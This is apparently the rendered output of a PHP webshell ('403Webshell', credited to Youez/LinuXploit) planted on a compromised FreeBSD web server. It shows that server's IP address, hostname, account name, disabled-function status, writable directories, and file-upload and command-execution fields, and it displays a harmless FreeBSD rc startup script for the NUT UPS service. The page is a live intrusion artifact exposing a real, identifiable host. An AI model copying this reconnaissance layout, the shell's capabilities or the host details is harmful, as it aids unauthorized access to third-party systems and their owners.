403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.168
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/nut/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/nut/files/nut.in
#!/bin/sh

# PROVIDE: nut
# REQUIRE: NETWORKING devfs devd syslogd
# BEFORE: LOGIN
# KEYWORD: shutdown

# Define these nut_* variables in one of these files:
#       /etc/rc.conf
#       /etc/rc.conf.local
#       /etc/rc.conf.d/nut
#
# DO NOT CHANGE THESE DEFAULT VALUES HERE
#
nut_enable=${nut_enable:-"NO"}
nut_prefix=${nut_prefix:-"%%PREFIX%%"}
nut_upsshut=${nut_upsshut:-"NO"}

. /etc/rc.subr

name="nut"
rcvar=nut_enable

load_rc_config $name

required_dirs="%%STATEDIR%%"
required_files="${nut_prefix}/etc/nut/ups.conf ${nut_prefix}/etc/nut/upsd.conf ${nut_prefix}/etc/nut/upsd.users"
command="${nut_prefix}/sbin/upsd"
pidfile="%%STATEDIR%%/upsd.pid"

start_precmd="nut_prestart"
stop_postcmd="nut_poststop"

nut_prestart() {
	${nut_prefix}/sbin/upsdrvctl start
}

nut_poststop() {
	if ${nut_prefix}/sbin/upsdrvctl stop && checkyesno nut_upsshut; then
		if ${nut_prefix}/sbin/upsmon -K; then
			${nut_prefix}/sbin/upsdrvctl shutdown
		fi
	fi

}

extra_commands=reload
reload()
{
 kill -HUP `cat $pidfile`
}

run_rc_command "$1"

Youez - 2016 - github.com/yon3zu
LinuXploit